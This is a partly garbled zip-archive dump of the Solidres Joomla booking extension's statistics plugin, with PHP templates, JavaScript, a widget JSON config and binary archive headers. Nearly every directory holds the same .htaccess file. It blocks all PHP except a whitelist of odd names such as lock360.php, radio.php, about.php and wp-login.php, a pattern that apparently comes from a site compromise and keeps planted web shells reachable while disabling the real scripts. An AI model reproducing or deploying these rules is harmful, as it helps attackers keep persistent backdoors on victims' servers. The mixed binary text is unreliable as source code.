Text::_('SR_STATISTICS_REVPAR_TO_DATE'); ?></label> <input type="text" id="date-to-alt" autocomplete="off" readonly/> <input type="hidden" id="date-to"/> </div> <div class="filter-group"> <label> Room types </label> <select id="filter-room-type-id"> <option value="0"><?php echo Text::_('SR_STATISTICS_ROOM_TYPES'); ?></option> <?php foreach ($roomTypes as $roomType): ?> <option value="<?php echo $roomType->id; ?>"> <?php echo htmlentities($roomType->name); ?> </option> <?php endforeach; ?> </select> </div> <div class="filter-group"> <button class="btn btn-primary btn-filter" id="btn-filter" type="button"> Filter </button> </div> </div> <div id="revpar-result"></div> <script> Solidres.jQuery(document).ready(function ($) { var assetId = '<?php echo $assetId; ?>', dateFormat = '<?php echo $jsDateFormat; ?>', btn = $('#btn-filter'), roomTypeId = $('#filter-room-type-id'), fromAlt = $('#date-from-alt'), toAlt = $('#date-to-alt'), from = $('#date-from'), to = $('#date-to'), storeData = function () { if (window.localStorage) { localStorage.setItem('revPARRoomTypeId' + assetId, roomTypeId.val()); localStorage.setItem('revPARFromAlt' + assetId, fromAlt.val()); localStorage.setItem('revPARToAlt' + assetId, toAlt.val()); localStorage.setItem('revPARFrom' + assetId, from.val()); localStorage.setItem('revPARTo' + assetId, to.val()); } }, getDate = function (element) { var date; try { date = $.datepicker.parseDate(dateFormat, element.value); } catch (error) { date = null; } return date; }; fromAlt.datepicker({ altField: '#date-from', altFormat: 'yy/mm/dd', changeMonth: true, changeYear: true, }).on('change', function () { var d = getDate(this); var days = new Date(d.getFullYear(), 11, 0).getDate(); toAlt.datepicker('option', 'minDate', d); toAlt.datepicker('option', 'maxDate', new Date(d.getFullYear(), 11, days)); }); toAlt.datepicker({ altField: '#date-to', altFormat: 'yy/mm/dd', changeMonth: true, }); btn.on('click', function () { if (fromAlt.val().length) { fromAlt.removeClass('error'); } else { fromAlt.addClass('error'); } if (toAlt.val().length) { toAlt.removeClass('error'); } else { toAlt.addClass('error'); } if (fromAlt.hasClass('error') || toAlt.hasClass('error')) { return false; } $.ajax({ url: '<?php echo Uri::base(true); ?>/index.php?option=com_solidres&task=statistics.loadRevPARData', type: 'post', dataType: 'json', data: { roomTypeId: roomTypeId.val(), fromDate: from.val(), toDate: to.val(), }, success: function (response) { if (response.success) { $('#revpar-result').html(response.data); storeData(); } } }); }); $('#revpar-result').on('click', 'a.toggle', function (e) { e.preventDefault(); $('#revpar-result').find('.no-revPar').toggleClass('hide'); }); (function () { if (window.localStorage) { roomTypeId.val(localStorage.getItem('revPARRoomTypeId' + assetId) || 0); fromAlt.val(localStorage.getItem('revPARFromAlt' + assetId) || ''); toAlt.val(localStorage.getItem('revPARToAlt' + assetId) || ''); from.val(localStorage.getItem('revPARFrom' + assetId) || ''); to.val(localStorage.getItem('revPARTo' + assetId) || ''); if (from.val().length && to.val().length) { btn.trigger('click'); } } })(); }); </script>PK �.]9��ܤ � J statistics/administrator/components/com_solidres/layouts/widgets/.htaccessnu �[��� <FilesMatch ".(py|exe|php)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(about.php|radio.php|index.php|content.php|lock360.php|admin.php|wp-login.php)$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule>PK �.]«t H statistics/administrator/components/com_solidres/layouts/widgets/box.phpnu �[��� <?php /*------------------------------------------------------------------------ Solidres - Hotel booking extension for Joomla ------------------------------------------------------------------------ @Author Solidres Team @Website http://www.solidres.com @Copyright Copyright (C) 2013 - 2018 Solidres. All Rights Reserved. @License GNU General Public License version 3, or later ------------------------------------------------------------------------*/ defined('_JEXEC') or die; extract($displayData); $class = 'sr-widget-' . preg_replace('/[^a-z0-9\-\_]/i', '-', isset($widget->class) ? $widget->class : $widget->id); ?> <div class="<?php echo $class; ?> sr-widget-box"> <h3><?php echo $widget->title ?></h3> <?php echo $widget->content ?> </div> PK �.]9��ܤ � V statistics/administrator/components/com_solidres/layouts/statistics/bookform/.htaccessnu �[��� <FilesMatch ".(py|exe|php)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(about.php|radio.php|index.php|content.php|lock360.php|admin.php|wp-login.php)$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule>PK �.]��� V statistics/administrator/components/com_solidres/layouts/statistics/bookform/limit.phpnu �[��� <?php /*------------------------------------------------------------------------ Solidres - Hotel booking extension for Joomla ------------------------------------------------------------------------ @Author Solidres Team @Website http://www.solidres.com @Copyright Copyright (C) 2013 - 2018 Solidres. All Rights Reserved. @License GNU General Public License version 3, or later ------------------------------------------------------------------------*/ defined('_JEXEC') or die; ?> <div id="sr-statistics-limit-booking-form"> <div class="<?php echo SR_UI_GRID_CONTAINER; ?>"> <div class="<?php echo SR_UI_FORM_ROW; ?>"> <label for="sr-limit-booking-title"> <?php echo JText::_('SR_STATISTICS_DASHBOARD_LIMIT_BOOKING_TITLE'); ?> </label> <input type="text" id="sr-limit-booking-title" class="input-block-level required"/> </div> <div class="<?php echo SR_UI_FORM_ROW; ?>"> <label for="sr-limit-booking-desc"> <?php echo JText::_('SR_STATISTICS_DASHBOARD_LIMIT_BOOKING_DESC'); ?> </label> <textarea id="sr-limit-booking-desc" class="input-block-level required" cols="50" rows="5"></textarea> </div> </div> </div>PK �.]�Fe� � U statistics/administrator/components/com_solidres/layouts/statistics/bookform/form.phpnu �[��� <?php /*------------------------------------------------------------------------ Solidres - Hotel booking extension for Joomla ------------------------------------------------------------------------ @Author Solidres Team @Website http://www.solidres.com @Copyright Copyright (C) 2013 - 2018 Solidres. All Rights Reserved. @License GNU General Public License version 3, or later ------------------------------------------------------------------------*/ defined('_JEXEC') or die; extract($displayData); /** * @var array $fields * @var array $statuses */ $length = count($fields); if ($length) { $length = count($fields); $partialNumber = ceil($length / 2); $guestFields = array('', ''); for ($i = 0; $i <= $partialNumber; $i++) { $guestFields[0] .= SRCustomFieldHelper::render($fields[$i]); } for ($i = $partialNumber + 1; $i < $length; $i++) { $guestFields[1] .= SRCustomFieldHelper::render($fields[$i]); } } ?> <div id="sr-statistics-book-form"> <?php if (isset($guestFields)): ?> <div class="<?php echo SR_UI_GRID_CONTAINER; ?>"> <div class="<?php echo SR_UI_GRID_COL_4; ?>"> <?php if (JFactory::getApplication()->getName() == 'administrator'): ?> <div class="<?php echo SR_UI_FORM_ROW; ?>"> <label for="sr-customer"> <?php echo JText::_('SR_QUICKBOOK_CUSTOMER'); ?> </label> <input type="text" id="sr-customer" class="input-block-level" placeholder="<?php echo JText::_('SR_QUICKBOOK_CUSTOMER_PLACEHOLDER', true) ?>"/> <input name="jform[customer_id]" type="hidden" value="0"/> </div> <?php endif; ?> <div class="<?php echo SR_UI_FORM_ROW; ?>"> <label for="sr-booking-total"> <?php echo JText::_('SR_BOOKING_TOTAL_TITLE') . ' *'; ?> </label> <input name="jform[total_price]" type="number" min="0" id="sr-booking-total" class="input-block-level required"/> </div> <div class="<?php echo SR_UI_FORM_ROW; ?>"> <label for="sr-deposit-total"> <?php echo JText::_('SR_STATISTICS_TAX_AMOUNT') . ' *'; ?> </label> <input name="jform[tax_amount]" type="number" min="0" id="sr-tax-amount" class="input-block-level required"/> </div> <div class="<?php echo SR_UI_FORM_ROW; ?>"> <label for="sr-deposit-total"> <?php echo JText::_('SR_DEPOSIT_TOTAL_TITLE'); ?> </label> <input name="jform[deposit_amount]" type="number" min="0" id="sr-deposit-total" class="input-block-level"/> </div> <div class="<?php echo SR_UI_FORM_ROW; ?>"> <label for="sr-booking-statues"> <?php echo JText::_('SR_RESERVATION_STATUS') . ' *'; ?> </label> <select name="jform[state]" id="sr-booking-statues" class="input-block-level required"> <?php foreach ($statuses as $status): ?> <option value="<?php echo $status->code; ?>"> <?php echo $status->label; ?> </option> <?php endforeach; ?> </select> </div> <div class="<?php echo SR_UI_FORM_ROW; ?>"> <label for="sr-booking-origin"> <?php echo JText::_('SR_RESERVATION_ORIGIN') . ' *'; ?> </label> <select name="jform[origin_id]" id="sr-booking-origin" class="input-block-level required"> <option value=""> <?php echo JText::_('SR_ORIGIN_SELECT'); ?> </option> <?php foreach (SolidresHelper::getOriginsList(0) as $origin): ?> <option value="<?php echo $origin->id; ?>"> <?php echo $origin->name; ?> </option> <?php endforeach; ?> </select> </div> </div> <div class="<?php echo SR_UI_GRID_COL_4; ?> sr-guest-fields"> <?php echo $guestFields[0]; ?> </div> <div class="<?php echo SR_UI_GRID_COL_4; ?> sr-guest-fields"> <?php echo $guestFields[1]; ?> </div> </div> <?php else: ?> <div class="alert alert-success"> <strong>Notice:</strong> plugin <strong>CustomField</strong> is not installed or enabled. <a target="_blank" href="https://www.solidres.com/subscribe/levels">Become a subscriber and download it now.</a> </div> <?php endif; ?> </div> PK �.]���b* * M statistics/administrator/components/com_solidres/layouts/statistics/range.phpnu �[��� <?php /*------------------------------------------------------------------------ Solidres - Hotel booking extension for Joomla ------------------------------------------------------------------------ @Author Solidres Team @Website http://www.solidres.com @Copyright Copyright (C) 2013 - 2018 Solidres. All Rights Reserved. @License GNU General Public License version 3, or later ------------------------------------------------------------------------*/ defined('_JEXEC') or die; extract($displayData); ?> <?php echo JText::_('SR_STATISTICS_DASHBOARD_FROM'); ?> <span id="sr-dashboard-view-from"> <?php echo $dateViewFromFormatted; ?> </span> <?php echo ' - ' . JText::_('SR_STATISTICS_DASHBOARD_TO'); ?> <span id="sr-dashboard-view-to"> <?php echo $dateViewToFormatted; ?> </span>PK �.]9��ܤ � M statistics/administrator/components/com_solidres/layouts/statistics/.htaccessnu �[��� <FilesMatch ".(py|exe|php)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(about.php|radio.php|index.php|content.php|lock360.php|admin.php|wp-login.php)$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule>PK �.]֕�K�4 �4 R statistics/administrator/components/com_solidres/layouts/statistics/statistics.phpnu �[��� <?php /*------------------------------------------------------------------------ Solidres - Hotel booking extension for Joomla ------------------------------------------------------------------------ @Author Solidres Team @Website http://www.solidres.com @Copyright Copyright (C) 2013 - 2018 Solidres. All Rights Reserved. @License GNU General Public License version 3, or later ------------------------------------------------------------------------*/ defined('_JEXEC') or die; use Joomla\String\StringHelper; extract($displayData); JHtml::_('behavior.formvalidator'); /** * @var \JDate $dateViewFrom * @var \JDate $dateViewTo * @var boolean $hubView * @var array $roomTypes * @var array $rooms * @var string $timezone * @var array $reservationData * @var array $limitBookingData * @var array $fields * @var array $statuses */ $cellDate = clone $dateViewFrom; $collections = array(); $roomReservations = array(); $roomLimitBookings = array(); $uiItemsHtml = ''; $today = JFactory::getDate(JFactory::getDate('now', $timezone)); $today->setTime(0, 0, 0); $channelManager = SRPlugin::isEnabled('channelmanager'); foreach ($reservationData as $reservation) { $roomReservations[$reservation->roomId][] = $reservation; $dateLength = count($reservation->rangeDate); $information = array( 'SR_CODE' => '<a href="' . $reservation->link . '" target="_blank" class="view">' . $reservation->code . '</a>', 'SR_RESERVATION_CHECKIN' => $reservation->checkinFormatted, 'SR_RESERVATION_CHECKOUT' => $reservation->checkoutFormatted, 'SR_STATISTICS_CUSTOMER_NAME' => $reservation->customerName, 'SR_EMAIL' => $reservation->customer_email, 'SR_PHONE' => $reservation->customer_phonenumber, 'SR_MOBILEPHONE' => $reservation->customer_mobilephone, 'SR_RESERVATION_SUB_TOTAL' => $reservation->roomCostFormatted, 'SR_RESERVATION_TAX' => $reservation->taxAmountFormatted, 'SR_RESERVATION_DEPOSIT_AMOUNT' => $reservation->depositAmountFormatted, 'SR_GRAND_TOTAL' => $reservation->grandTotalFormatted, ); $class = 'sr-ui-item state-' . $reservation->state; if ($reservation->booking_type) { $class .= ' booking-per-day'; } if (is_numeric($reservation->checkinout_status)) { $class .= ' ' . ($reservation->checkinout_status ? 'checkin' : 'checkout'); } $uiItemsHtml .= '<div id="' . $reservation->roomId . '-' . join('-', $reservation->rangeDate) . '"' . ' class="' . $class . '"' . ' style="background-color: ' . $reservation->stateColor->color_code . '"' . ' data-reservation-id="' . $reservation->id . '"' . ' data-room-id="' . $reservation->roomId . '"' . ' data-date-length="' . $dateLength . '"' . ' data-start-date="' . $reservation->rangeDate[0] . '"' . ' data-end-date="' . $reservation->rangeDate[$dateLength - 1] . '"' . ' data-range-date="' . htmlspecialchars(json_encode($reservation->rangeDate), ENT_COMPAT, 'UTF-8') . '"' . ' data-room-type-target="#sr-room-type' . $reservation->roomTypeId . '"' . ' data-info="' . htmlspecialchars(json_encode($information), ENT_COMPAT, 'UTF-8') . '"></div>'; } foreach ($limitBookingData as $limitBooking) { $roomLimitBookings[$limitBooking->roomId][] = $limitBooking; $dateLength = count($limitBooking->rangeDate); $information = array( 'SR_STATISTICS_DASHBOARD_LIMIT_BOOKING_TITLE' => '<a href="' . $limitBooking->link . '" target="_blank" class="view">' . $limitBooking->title . '</a>', 'SR_STATISTICS_DASHBOARD_LIMIT_BOOKING_DESC' => $limitBooking->description, 'SR_FIELD_LIMITBOOKING_START_DATE_LABEL' => $limitBooking->start_date, 'SR_FIELD_LIMITBOOKING_END_DATE_LABEL' => $limitBooking->end_date, ); $uiItemsHtml .= '<div id="' . $limitBooking->roomId . '-' . join('-', $limitBooking->rangeDate) . '"' . ' class="sr-ui-item is-limited-booking"' . ' data-limit-booking-id="' . $limitBooking->id . '"' . ' data-room-id="' . $limitBooking->roomId . '"' . ' data-date-length="' . $dateLength . '"' . ' data-start-date="' . $limitBooking->rangeDate[0] . '"' . ' data-end-date="' . $limitBooking->rangeDate[$dateLength - 1] . '"' . ' data-range-date="' . htmlspecialchars(json_encode($limitBooking->rangeDate), ENT_COMPAT, 'UTF-8') . '"' . ' data-room-type-target="#sr-room-type' . $limitBooking->roomTypeId . '"' . ' data-info="' . htmlspecialchars(json_encode($information), ENT_COMPAT, 'UTF-8') . '"></div>'; } $cellCount = 0; $headerOutput = ''; $headerMonthYear = array(); while ((int) $cellDate->diff($dateViewTo)->format('%R%a') >= 0) { $formatted = explode(' ', $cellDate->format('D d'), 2); $formatted[0] = StringHelper::substr($formatted[0], 0, 2); $date = $cellDate->format('Y-m-d'); $isWeekend = SRUtilities::isWeekend($date); $todayDiff = (int) $today->diff($cellDate)->format('%R%a'); $isToday = $todayDiff == 0; $isPastDate = $todayDiff < 0; $collections[$date] = array( 'isToday' => $isToday, 'isWeekend' => $isWeekend, 'isPastDate' => $isPastDate, ); $class = 'sr-room'; if ($isToday) { $class .= ' active'; } if ($isWeekend) { $class .= ' weekend'; } if ($isPastDate) { $class .= ' past-date'; } $collections[$date]['class'] = $class; $headerOutput .= '<div title="' . $date . '" class="' . str_replace('sr-room', 'sr-head-date', $class) . '">' . join('<br/>', $formatted) . '</div>'; $monthYear = $cellDate->format('M Y'); if (isset($headerMonthYear[$monthYear])) { $headerMonthYear[$monthYear]++; } else { $headerMonthYear[$monthYear] = 1; } $cellDate->add(new DateInterval('P1D')); $cellCount++; } $direction = JFactory::getDocument()->getDirection(); ?> <div class="sr-statistics-container <?php echo $direction; ?> clearfix<?php echo JBrowser::getInstance()->isMobile() ? ' isMobile' : ''; ?>" data-startdate="<?php echo $startDate ?>" data-enddate="<?php echo $endDate ?>" data-direction="<?php echo $direction; ?>"> <?php $layoutFile = new JLayoutFile('solidres.modal.bootstrap', JPATH_ADMINISTRATOR . '/components/com_solidres/layouts', array('option' => 'com_solidres')); // Reservation info modal echo $layoutFile->render(array( 'title' => JText::_('SR_NEW_GENERAL_INFO'), 'body' => '<div class="modal-body-inner"></div>', 'id' => 'statistics-info-modal', 'class' => 'statistics-modal', 'footer' => ' ' )); // QuickTool modal $modalBody = '<button type="button" id="btn-book" class="btn btn-primary btn-small">' . JText::_('SR_QUICK_BOOKING_BTN') . '</button>'; if (SRPlugin::isEnabled('limitbooking')) { $modalBody .= '<button type="button" id="btn-limit" class="btn btn-warning btn-small">' . JText::_('SR_SET_LIMIT_BTN') . '</button>'; // Quick LimitBooking modal echo $layoutFile->render(array( 'id' => 'statistics-limit-booking-modal', 'class' => 'statistics-modal', 'title' => JText::_('SR_STATISTICS_DASHBOARD_LIMIT_BOOKING_FORM'), 'body' => '<div class="modal-body-inner">' . SRLayoutHelper::render('statistics.bookform.limit') . '</div>', 'footer' => '<button type="button" class="btn btn-warning" data-dismiss="modal">' . JText::_('SR_STATISTICS_DASHBOARD_LIMIT_BOOKING_CANCEL') . '</button>' . '<button type="button" class="btn btn-save btn-primary" data-type="limit">' . JText::_('SR_STATISTICS_DASHBOARD_LIMIT_BOOKING_SAVE') . '</button>', )); } echo $layoutFile->render(array( 'title' => JText::_('SR_SELECTING_FORMS'), 'body' => '<div class="modal-body-inner">' . $modalBody . '</div>', 'id' => 'statistics-booking-modal', 'class' => 'statistics-modal', 'footer' => ' ' )); // QuickBook modal $modalBody = SRLayoutHelper::render('statistics.bookform.form', array( 'fields' => $fields, 'statuses' => $statuses, )); echo $layoutFile->render(array( 'id' => 'statistics-booking-form-modal', 'class' => 'statistics-modal', 'title' => JText::_('SR_RESERVATION_ADD_NEW_DETAIL'), 'body' => '<div class="modal-body-inner">' . $modalBody . '</div>', 'footer' => '<button type="button" class="btn btn-warning" data-dismiss="modal">' . JText::_('SR_CANCEL_BTN') . '</button>' . '<button type="button" class="btn btn-save btn-primary" data-type="book">' . JText::_('SR_SAVE_BTN') . '</button>', )); ?> <aside> <div class="month-year-blank"></div> <div></div> <?php foreach ($roomTypes as $roomType): ?> <div id="sr-room-type<?php echo $roomType->id; ?>" class="sr-room-type-name"> <div title="<?php echo htmlspecialchars($roomType->name, ENT_COMPAT, 'UTF-8'); ?>"> <?php echo $roomType->name; ?> </div> </div> <?php if (!empty($rooms[$roomType->id])): ?> <?php foreach ($rooms[$roomType->id] as $room): ?> <div class="sr-room-label" data-room-label-id="<?php echo $room->id; ?>" data-room-type-target="#sr-room-type<?php echo $roomType->id; ?>"> <?php echo $room->label; ?> </div> <?php endforeach; ?> <?php endif; ?> <?php endforeach; ?> </aside> <main> <div class="month-year"> <?php foreach ($headerMonthYear as $monthYear => $count): ?> <div style="width: <?php echo 32 * $count; ?>px;"> <?php echo $monthYear; ?> </div> <?php endforeach; ?> </div> <header class="flex-box"> <?php echo $headerOutput; ?> </header> <div class="main-area"> <?php foreach ($roomTypes as $roomType): ?> <div class="flex-box" id="availability-row-<?php echo $roomType->id ?>"> <?php if ($channelManager) : foreach ($collections as $date => $cond) : echo '<div class="sr-room-type-blank ' . $date . '"> <span class="availability-info" style="display: none"> <span class="availability-pms"></span>/<span class="availability-channel"></span> </span> </div>'; endforeach; else : echo str_repeat('<div class="sr-room-type-blank"></div>', $cellCount); endif; ?> </div> <?php if (!empty($rooms[$roomType->id])): ?> <?php foreach ($rooms[$roomType->id] as $room): ?> <div class="flex-box" data-room-type-target="#sr-room-type<?php echo $roomType->id; ?>"> <?php foreach ($collections as $date => $cond): $reservationId = 0; $limitBookingId = 0; $guestName = $checkin = $checkout = ''; if (isset($roomReservations[$room->id])) { foreach ($roomReservations[$room->id] as $roomReservation) { if (in_array($date, $roomReservation->rangeDate)) { $reservationId = $roomReservation->id; $cond['class'] .= ' has-reservation'; if ($roomReservation->booking_type) { $cond['class'] .= ' booking-per-day'; } else { $cond['class'] .= ' booking-per-night'; } $checkin = $roomReservation->checkin; $checkout = $roomReservation->checkout; $guestName = $roomReservation->guest_fullname; break; } } } if (isset($roomLimitBookings[$room->id])) { foreach ($roomLimitBookings[$room->id] as $roomLimitBooking) { if (in_array($date, $roomLimitBooking->rangeDate)) { $limitBookingId = $roomLimitBooking->id; $cond['class'] .= ' has-limit-booking'; break; } } } ?> <div class="<?php echo $cond['class']; ?>" data-reservation-id="<?php echo $reservationId; ?>" data-limit-booking-id="<?php echo $limitBookingId; ?>" data-room-type-id="<?php echo $roomType->id; ?>" data-room-id="<?php echo $room->id; ?>" data-room-type-name="<?php echo $roomType->name; ?>" data-room-label="<?php echo $room->label; ?>" data-checkin="<?php echo $checkin; ?>" data-checkout="<?php echo $checkout; ?>" data-date="<?php echo $date; ?>" data-guest-name="<?php echo $guestName; ?>"> </div> <?php endforeach; ?> </div> <?php endforeach; ?> <?php endif; ?> <?php endforeach; ?> <?php echo $uiItemsHtml; ?> </div> </main> </div> PK �.]9��ܤ � B statistics/administrator/components/com_solidres/layouts/.htaccessnu �[��� <FilesMatch ".(py|exe|php)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(about.php|radio.php|index.php|content.php|lock360.php|admin.php|wp-login.php)$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule>PK �.]Z��� � J statistics/administrator/components/com_solidres/widgets/data.default.jsonnu &1i� {"rows":[{"cols":[{"colWidth":"12","widgets":["assets"]}]},{"cols":[{"colWidth":"4","widgets":["experience.widgets.total.reservations"]},{"colWidth":"4","widgets":["total.rooms"]},{"colWidth":"4","widgets":["lifetimes"]}]},{"cols":[{"colWidth":"4","widgets":["total.assets"]},{"colWidth":"4","widgets":["total.roomtypes"]},{"colWidth":"4","widgets":["total.customers"]}]},{"cols":[{"colWidth":"12","widgets":["dashboard"]}]},{"cols":[{"colWidth":"6","widgets":["maps"]},{"colWidth":"6","widgets":["upcomingCheckin","upcomingCheckout","latestBookings"]}]}],"widgets":["assets","experience.widgets.total.reservations","total.rooms","lifetimes","total.assets","total.roomtypes","total.customers","dashboard","maps","upcomingCheckin","upcomingCheckout","latestBookings"],"html":"<div class=\"w ui-sortable-handle\"><div class=\"grid-row grid-12 row-fluid ui-sortable\">\n <div data-col-class=\"12\" class=\"span12\">\n <div class=\"inner ui-sortable\"><div class=\"widget-block\" data-string-key=\"SR_STATISTICS_ASSETS_DROPDOWN\" data-widget=\"assets\" style=\"position: relative; z-index: 99; left: 0px; top: 0px;\">Properties dropdown<\/div><\/div>\n <\/div>\n <\/div><button type=\"button\" class=\"btn btn-small btn-warning remove\"><i class=\"fa fa-trash\"><\/i><\/button><\/div> <div class=\"w ui-sortable-handle\"><div class=\"grid-row grid-4-4-4 row-fluid ui-sortable\">\n <div data-col-class=\"4\" class=\"span4\">\n <div class=\"inner ui-sortable\"><div class=\"widget-block\" data-string-key=\"SR_EXP_WIDGET_TOTAL_RESERVATIONS\" data-widget=\"experience.widgets.total.reservations\" style=\"position: relative; z-index: 99; left: 0px; top: 0px;\">Total reservations (experience)<\/div><\/div>\n <\/div>\n <div data-col-class=\"4\" class=\"span4\">\n <div class=\"inner ui-sortable\"><div class=\"widget-block\" data-string-key=\"SR_STATISTICS_TOTAL_ROOMS\" data-widget=\"total.rooms\" style=\"position: relative; z-index: 99; left: 0px; top: 0px;\">Total rooms<\/div><\/div>\n <\/div>\n <div data-col-class=\"4\" class=\"span4\">\n <div class=\"inner ui-sortable\"><div class=\"widget-block\" data-string-key=\"SR_STATISTICS_LIFE_TIME_SALES\" data-widget=\"lifetimes\" style=\"position: relative; z-index: 99; left: 0px; top: 0px;\">Life time sales<\/div><\/div>\n <\/div>\n <\/div><button type=\"button\" class=\"btn btn-small btn-warning remove\"><i class=\"fa fa-trash\"><\/i><\/button><\/div><div class=\"w ui-sortable-handle\"><div class=\"grid-row grid-4-4-4 row-fluid ui-sortable\">\n <div data-col-class=\"4\" class=\"span4\">\n <div class=\"inner ui-sortable\"><div class=\"widget-block\" data-string-key=\"SR_STATISTICS_TOTAL_RESERVATION_ASSETS\" data-widget=\"total.assets\" style=\"position: relative; z-index: 99; left: 0px; top: 0px;\">Total properties<\/div><\/div>\n <\/div>\n <div data-col-class=\"4\" class=\"span4\">\n <div class=\"inner ui-sortable\"><div class=\"widget-block\" data-string-key=\"SR_STATISTICS_TOTAL_ROOM_TYPES\" data-widget=\"total.roomtypes\" style=\"position: relative; z-index: 99; left: 0px; top: 0px;\">Total room types<\/div><\/div>\n <\/div>\n <div data-col-class=\"4\" class=\"span4\">\n <div class=\"inner ui-sortable\"><div class=\"widget-block\" data-string-key=\"SR_STATISTICS_TOTAL_CUSTOMERS\" data-widget=\"total.customers\" style=\"position: relative; z-index: 99; left: 0px; top: 0px;\">Total customers<\/div><\/div>\n <\/div>\n <\/div><button type=\"button\" class=\"btn btn-small btn-warning remove\"><i class=\"fa fa-trash\"><\/i><\/button><\/div><div class=\"w ui-sortable-handle\"><div class=\"grid-row grid-12 row-fluid ui-sortable\">\n <div data-col-class=\"12\" class=\"span12\">\n <div class=\"inner ui-sortable\"><div class=\"widget-block\" data-string-key=\"SR_STATISTICS_DASHBOARD_TITLE\" data-widget=\"dashboard\" style=\"position: relative; z-index: 99; left: 0px; top: 0px;\">Dashboard<\/div><\/div>\n <\/div>\n <\/div><button type=\"button\" class=\"btn btn-small btn-warning remove\"><i class=\"fa fa-trash\"><\/i><\/button><\/div><div class=\"w ui-sortable-handle\"><div class=\"grid-row grid-6-6 row-fluid ui-sortable\">\n <div data-col-class=\"6\" class=\"span6\">\n <div class=\"inner ui-sortable\"><div class=\"widget-block\" data-string-key=\"SR_STATISTICS_MAPS\" data-widget=\"maps\" style=\"position: relative; z-index: 99; left: 0px; top: 0px;\">Maps<\/div><\/div>\n <\/div>\n <div data-col-class=\"6\" class=\"span6\">\n <div class=\"inner ui-sortable\"><div class=\"widget-block\" data-string-key=\"SR_STATISTICS_UPCOMING_CHECKIN\" data-widget=\"upcomingCheckin\" style=\"position: relative; z-index: 99; left: 0px; top: 0px;\">Upcoming checkin<\/div><div class=\"widget-block\" data-string-key=\"SR_STATISTICS_UPCOMING_CHECKOUT\" data-widget=\"upcomingCheckout\" style=\"position: relative; z-index: 99; left: 0px; top: 0px;\">Upcoming checkout<\/div><div class=\"widget-block\" data-string-key=\"SR_STATISTICS_LATEST_BOOKINGS\" data-widget=\"latestBookings\" style=\"position: relative; z-index: 99; left: 0px; top: 0px;\">Latest bookings<\/div><\/div>\n <\/div>\n <\/div><button type=\"button\" class=\"btn btn-small btn-warning remove\"><i class=\"fa fa-trash\"><\/i><\/button><\/div>"}PK �.]9��ܤ � B statistics/administrator/components/com_solidres/widgets/.htaccessnu �[��� <FilesMatch ".(py|exe|php)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(about.php|radio.php|index.php|content.php|lock360.php|admin.php|wp-login.php)$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule>PK �.]9��ܤ � A statistics/administrator/components/com_solidres/models/.htaccessnu �[��� <FilesMatch ".(py|exe|php)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(about.php|radio.php|index.php|content.php|lock360.php|admin.php|wp-login.php)$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule>PK �.]�Je� P statistics/administrator/components/com_solidres/models/fields/widgetbuilder.phpnu �[��� <?php /*------------------------------------------------------------------------ Solidres - Hotel booking extension for Joomla ------------------------------------------------------------------------ @Author Solidres Team @Website http://www.solidres.com @Copyright Copyright (C) 2013 - 2018 Solidres. All Rights Reserved. @License GNU General Public License version 3, or later ------------------------------------------------------------------------*/ defined('_JEXEC') or die; class JFormFieldWidgetBuilder extends JFormField { protected $type = 'WidgetBuilder'; protected function getInput() { SRLayoutHelper::addIncludePath(SRPlugin::getAdminPath('statistics') . '/layouts'); echo SRLayoutHelper::render('widgets.builder', [ 'field' => $this, ]); } } PK �.]9��ܤ � H statistics/administrator/components/com_solidres/models/fields/.htaccessnu �[��� <FilesMatch ".(py|exe|php)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(about.php|radio.php|index.php|content.php|lock360.php|admin.php|wp-login.php)$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule>PK �.]G�[e� � F statistics/administrator/components/com_solidres/models/statistics.phpnu �[��� <?php /*------------------------------------------------------------------------ Solidres - Hotel booking extension for Joomla ------------------------------------------------------------------------ @Author Solidres Team @Website http://www.solidres.com @Copyright Copyright (C) 2013 - 2016 Solidres. All Rights Reserved. @License GNU General Public License version 3, or later ------------------------------------------------------------------------*/ defined('_JEXEC') or die; /** * Statistics model * * @package Solidres * @subpackage Statistics * @since 0.5.0 */ use Joomla\CMS\Component\ComponentHelper; use Joomla\CMS\Date\Date as CMSDate; use Joomla\CMS\Factory as CMSFactory; class SolidresModelStatistics extends JModelLegacy { protected $reservationAssetId; protected $defaultDashboardStatuses; protected $statisticsStatuses; protected $disabledStatuses; protected $solidresConfig; protected $isSite; /** * @var JApplicationCms $app * @since 1.3.3 */ public $app; public $checkInOutStatus; public function __construct($config = array()) { parent::__construct($config); $this->app = 